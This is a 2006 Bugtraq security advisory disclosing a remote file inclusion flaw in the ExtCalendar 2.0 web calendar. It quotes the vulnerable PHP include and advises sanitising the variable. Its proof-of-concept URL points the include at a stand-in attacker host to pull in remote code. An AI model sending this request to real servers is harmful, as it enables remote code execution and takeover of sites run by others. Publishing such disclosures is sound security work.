bugtraq - [ECHO_ADV_36$2006] ExtCalendar <== v2.0 Remote File Include Vulnerabilities

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Date: 7 Jul 2006 11:14:20 -0000
From: matdhule@...il.com
To: bugtraq@...urityfocus.com
Subject: [ECHO_ADV_36$2006] ExtCalendar <== v2.0 Remote File Include
 Vulnerabilities


ECHO.OR.ID
ECHO_ADV_36$2006

---------------------------------------------------------------------------
[ECHO_ADV_36$2006] ExtCalendar <== v2.0 Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Author          : Ahmad Maulana a.k.a Matdhule
Date            : July 07th 2006
Location        : Indonesia, Jakarta
Web             : http://advisories.echo.or.id/adv/adv36-matdhule-2006.txt
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ExtCalendar

Application     : ExtCalendar
version         : 2.0
URL             : http://extcal.sourceforge.net/
Description     :

ExtCalendar is a powerful multi-user web-based calendar application. 
Features include Multi-Languages, Themes, Recurrent  Events, Categories, 
Users and Groups management, Environment and General Settings, Template Configuration, Product Updates.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~

in folder com_extcalendar we found vulnerability script extcalendar.php.

-----------------------extcalendar.php----------------------
....
<?php
       global $mosConfig_absolute_path;
require_once( $mosConfig_absolute_path."/components/com_extcalendar/config.inc.php" );
require_once( $CONFIG_EXT['LIB_DIR']."mail.inc.php" );
        ?>
...
----------------------------------------------------------

Variables $mosConfig_absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.

Proof Of Concept:
~~~~~~~~~~~~~~~~

http://[target]/[path]/components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=http://attacker.com/evil.txt?

Solution:
~~~~~~~~

sanitize variabel $mosConfig_absolute_path in extcalendar.php


---------------------------------------------------------------------------
Shoutz:
~~~~~~
~ solpot a.k.a chris, J4mbi  H4ck3r for the hacking lesson :)
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@...oogroups.com, jasakom_perjuangan@...oogroups.com
~ #mardongan #jambihackerlink #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~~

     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ] ----------------------------------